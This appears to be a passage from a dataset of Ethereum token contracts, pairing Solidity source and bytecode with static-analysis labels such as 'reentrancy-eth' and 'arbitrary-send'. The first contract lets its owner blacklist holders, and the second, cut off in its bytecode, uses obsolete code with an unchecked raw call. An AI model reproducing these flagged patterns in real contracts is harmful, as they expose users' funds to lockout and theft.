return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf914610467578063d94160e01461047c578063dd62ed3e146104ac578063f4293890146104f257600080fd5b8063b515566a14610407578063c024666814610427578063c0a904a21461044757600080fd5b8063715018a61461037457806381bfdcca1461038957806389f425e7146103a95780638da5cb5b146103c957806395d89b41146101ba578063a9059cbb146103e757600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102e45780635932ead114610314578063677daa571461033457806370a082311461035457600080fd5b8063313ce5671461027b57806349bd5a5e1461029757806351bc3c85146102cf57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101ed57806318160ddd1461021d57806323b872dd14610239578063273123b71461025957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b506040805180820182526004815263092a49e960e31b602082015290516101b19190611ccd565b3480156101f957600080fd5b5061020d610208366004611b5e565b610507565b60405190151581526020016101b1565b34801561022957600080fd5b50683635c9adc5dea000006101a7565b34801561024557600080fd5b5061020d610254366004611af1565b61051e565b34801561026557600080fd5b50610279610274366004611a81565b610587565b005b34801561028757600080fd5b50604051600981526020016101b1565b3480156102a357600080fd5b506011546102b7906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102db57600080fd5b506102796105db565b3480156102f057600080fd5b5061020d6102ff366004611a81565b60056020526000908152604090205460ff1681565b34801561032057600080fd5b5061027961032f366004611c50565b610614565b34801561034057600080fd5b5061027961034f366004611c88565b61065c565b34801561036057600080fd5b506101a761036f366004611a81565b61068b565b34801561038057600080fd5b506102796106ad565b34801561039557600080fd5b506102796103a4366004611c88565b610721565b3480156103b557600080fd5b506102796103c4366004611c88565b610750565b3480156103d557600080fd5b506000546001600160a01b03166102b7565b3480156103f357600080fd5b5061020d610402366004611b5e565b61077f565b34801561041357600080fd5b50610279610422366004611b89565b61078c565b34801561043357600080fd5b50610279610442366004611b31565b610830565b34801561045357600080fd5b50610279610462366004611b31565b610885565b34801561047357600080fd5b506102796108da565b34801561048857600080fd5b5061020d610497366004611a81565b60066020526000908152604090205460ff1681565b3480156104b857600080fd5b506101a76104c7366004611ab9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104fe57600080fd5b50610279610cc5565b6000610514338484610cef565b5060015b92915050565b600061052b848484610e13565b61057d843361057885604051806060016040528060288152602001611e9e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611259565b610cef565b5060019392505050565b6000546001600160a01b031633146105ba5760405162461bcd60e51b81526004016105b190611d20565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b0316146105fb57600080fd5b60006106063061068b565b905061061181611293565b50565b6000546001600160a01b0316331461063e5760405162461bcd60e51b81526004016105b190611d20565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106865760405162461bcd60e51b81526004016105b190611d20565b601255565b6001600160a01b03811660009081526002602052604081205461051890611438565b6000546001600160a01b031633146106d75760405162461bcd60e51b81526004016105b190611d20565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461074b5760405162461bcd60e51b81526004016105b190611d20565b601355565b6000546001600160a01b0316331461077a5760405162461bcd60e51b81526004016105b190611d20565b600b55565b6000610514338484610e13565b6000546001600160a01b031633146107b65760405162461bcd60e51b81526004016105b190611d20565b60005b815181101561082c576001600760008484815181106107e857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082481611e33565b9150506107b9565b5050565b6000546001600160a01b0316331461085a5760405162461bcd60e51b81526004016105b190611d20565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016105b190611d20565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016105b190611d20565b601154600160a01b900460ff161561095e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b1565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561099b3082683635c9adc5dea00000610cef565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d457600080fd5b505afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c9190611a9d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5457600080fd5b505afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611a9d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ad457600080fd5b505af1158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0c9190611a9d565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610b708161068b565b600080610b856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610be857600080fd5b505af1158015610bfc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c219190611ca0565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c8d57600080fd5b505af1158015610ca1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c9190611c6c565b600e546001600160a01b0316336001600160a01b031614610ce557600080fd5b47610611816114bc565b6001600160a01b038316610d515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b1565b6001600160a01b038216610db25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b1565b6001600160a01b038216610ed95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b1565b80610ee38461068b565b1015610f405760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b1565b6000546001600160a01b03848116911614801590610f6c57506000546001600160a01b03838116911614155b15611249576001600160a01b03831660009081526007602052604090205460ff16158015610fb357506001600160a01b03821660009081526007602052604090205460ff16155b610fbc57600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061101557506011546001600160a01b03848116911614801561101557506001600160a01b03821660009081526006602052604090205460ff16155b15611082576012548111156110825760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105b1565b6001600160a01b03821660009081526006602052604090205460ff1661111b57601354816110af8461068b565b6110b99190611dc5565b111561111b5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105b1565b6011546001600160a01b03848116911614801561114657506010546001600160a01b03838116911614155b801561116b57506001600160a01b03821660009081526005602052604090205460ff16155b80156111805750601154600160b81b900460ff165b156111ce576001600160a01b03821660009081526008602052604090205442116111a957600080fd5b6111b442603c611dc5565b6001600160a01b0383166000908152600860205260409020555b60006111d93061068b565b601154909150600160a81b900460ff1615801561120457506011546001600160a01b03858116911614155b80156112195750601154600160b01b900460ff165b80156112275750600b548110155b156112475761123581611293565b47801561124557611245476114bc565b505b505b611254838383611541565b505050565b6000818484111561127d5760405162461bcd60e51b81526004016105b19190611ccd565b50600061128a8486611e1c565b95945050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133d57600080fd5b505afa158015611351573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113759190611a9d565b8160018151811061139657634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113bc9130911684610cef565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f5908590600090869030904290600401611d55565b600060405180830381600087803b15801561140f57600080fd5b505af1158015611423573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600060095482111561149f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b1565b60006114a961154c565b90506114b5838261156f565b9392505050565b600e546001600160a01b03166108fc6114d683600261156f565b6040518115909202916000818181858888f193505050501580156114fe573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61151983600261156f565b6040518115909202916000818181858888f1935050505015801561082c573d6000803e3d6000fd5b6112548383836115b1565b6000806000611559611771565b9092509050611568828261156f565b9250505090565b60006114b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b3565b6000806000806000806115c3876117e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115f5908761183e565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061164057506001600160a01b03881660009081526005602052604090205460ff165b156116c9576001600160a01b0388166000908152600260205260409020546116689087611880565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116bc908b815260200190565b60405180910390a3611766565b6001600160a01b0388166000908152600260205260409020546116ec9086611880565b6001600160a01b03891660009081526002602052604090205561170e816118df565b6117188483611929565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175d91815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea0000061178d828261156f565b8210156117aa57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836117d45760405162461bcd60e51b81526004016105b19190611ccd565b50600061128a8486611ddd565b60008060008060008060008060006117fe8a600c54600d5461194d565b925092509250600061180e61154c565b905060008060006118218e8787876119a2565b919e509c509a509598509396509194505050505091939550919395565b60006114b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611259565b60008061188d8385611dc5565b9050838110156114b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b1565b60006118e961154c565b905060006118f783836119f2565b306000908152600260205260409020549091506119149082611880565b30600090815260026020526040902055505050565b600954611936908361183e565b600955600a546119469082611880565b600a555050565b6000808080611967606461196189896119f2565b9061156f565b9050600061197a60646119618a896119f2565b905060006119928261198c8b8661183e565b9061183e565b9992985090965090945050505050565b60008080806119b188866119f2565b905060006119bf88876119f2565b905060006119cd88886119f2565b905060006119df8261198c868661183e565b939b939a50919850919650505050505050565b600082611a0157506000610518565b6000611a0d8385611dfd565b905082611a1a8583611ddd565b146114b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b1565b8035611a7c81611e7a565b919050565b600060208284031215611a92578081fd5b81356114b581611e7a565b600060208284031215611aae578081fd5b81516114b581611e7a565b60008060408385031215611acb578081fd5b8235611ad681611e7a565b91506020830135611ae681611e7a565b809150509250929050565b600080600060608486031215611b05578081fd5b8335611b1081611e7a565b92506020840135611b2081611e7a565b929592945050506040919091013590565b60008060408385031215611b43578182fd5b8235611b4e81611e7a565b91506020830135611ae681611e8f565b60008060408385031215611b70578182fd5b8235611b7b81611e7a565b946020939093013593505050565b60006020808385031215611b9b578182fd5b823567ffffffffffffffff80821115611bb2578384fd5b818501915085601f830112611bc5578384fd5b813581811115611bd757611bd7611e64565b8060051b604051601f19603f83011681018181108582111715611bfc57611bfc611e64565b604052828152858101935084860182860187018a1015611c1a578788fd5b8795505b83861015611c4357611c2f81611a71565b855260019590950194938601938601611c1e565b5098975050505050505050565b600060208284031215611c61578081fd5b81356114b581611e8f565b600060208284031215611c7d578081fd5b81516114b581611e8f565b600060208284031215611c99578081fd5b5035919050565b600080600060608486031215611cb4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611cf957858101830151858201604001528201611cdd565b81811115611d0a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611da45784516001600160a01b031683529383019391830191600101611d7f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dd857611dd8611e4e565b500190565b600082611df857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e1757611e17611e4e565b500290565b600082821015611e2e57611e2e611e4e565b500390565b6000600019821415611e4757611e47611e4e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461061157600080fd5b801515811461061157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b0e1ba7b83f65197f1a51022a375dead6eeaeb24c13685604ffa9941965f04bb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,138 |
0xe6ed4d61492ae67f79ed80c0f78c40525ecbc6e6
|
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Prakashcoin is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:*************************A I R S A V E C O I N *****************************
********A I R S A V E C O I N **************A I R S A V E C O I N *****
********A I R S A V E C O I N **************A I R S A V E C O I N *************A I R S A V E C O I N **************A I R S A V E C O I N ****
********A I R S A V E C O I N **************A I R S A V E C O I N *************A I R S A V E C O I N **************A I R S A V E C O I N *****
*************A I R S A V E C O I N ****************A I R S A V E C O I N
*/
string public name; // Token
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: ..
string public version = 'H1.0';
uint256 public Prakashcoin; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function Prakashcoin() {
balances[msg.sender] = 125000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 125000000; // Update total supply (1000 for example) (A I R S A V E C O I N )
name = "Prakashcoin"; // Set the name for display purposes (A I R S A V E C O I N )
decimals = 0; // Amount of decimals for display purposes (A I R S A V E C O I N )
symbol = "PKC"; // Set the symbol for display purposes (A I R S A V E C O I N )
// Set the price of your token for the ICO (A I R S A V E C O I N )
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
|
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015857806318160ddd146101b257806323b872dd146101db578063313ce5671461025457806354fd4d50146102835780635eff8b481461031157806370a082311461033a578063933ba4131461038757806395d89b41146103b0578063a9059cbb1461043e578063cae9ca5114610498578063dd62ed3e14610535575b600080fd5b34156100d557600080fd5b6100dd6105a1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011d578082015181840152602081019050610102565b50505050905090810190601f16801561014a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016357600080fd5b610198600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061063f565b604051808215151515815260200191505060405180910390f35b34156101bd57600080fd5b6101c5610731565b6040518082815260200191505060405180910390f35b34156101e657600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610737565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b6102676109b0565b604051808260ff1660ff16815260200191505060405180910390f35b341561028e57600080fd5b6102966109c3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102d65780820151818401526020810190506102bb565b50505050905090810190601f1680156103035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031c57600080fd5b610324610a61565b6040518082815260200191505060405180910390f35b341561034557600080fd5b610371600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a67565b6040518082815260200191505060405180910390f35b341561039257600080fd5b61039a610aaf565b6040518082815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610ab5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104035780820151818401526020810190506103e8565b50505050905090810190601f1680156104305780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044957600080fd5b61047e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b53565b604051808215151515815260200191505060405180910390f35b34156104a357600080fd5b61051b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610cb9565b604051808215151515815260200191505060405180910390f35b341561054057600080fd5b61058b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f5a565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106375780601f1061060c57610100808354040283529160200191610637565b820191906000526020600020905b81548152906001019060200180831161061a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610803575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561080f5750600082115b156109a457816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff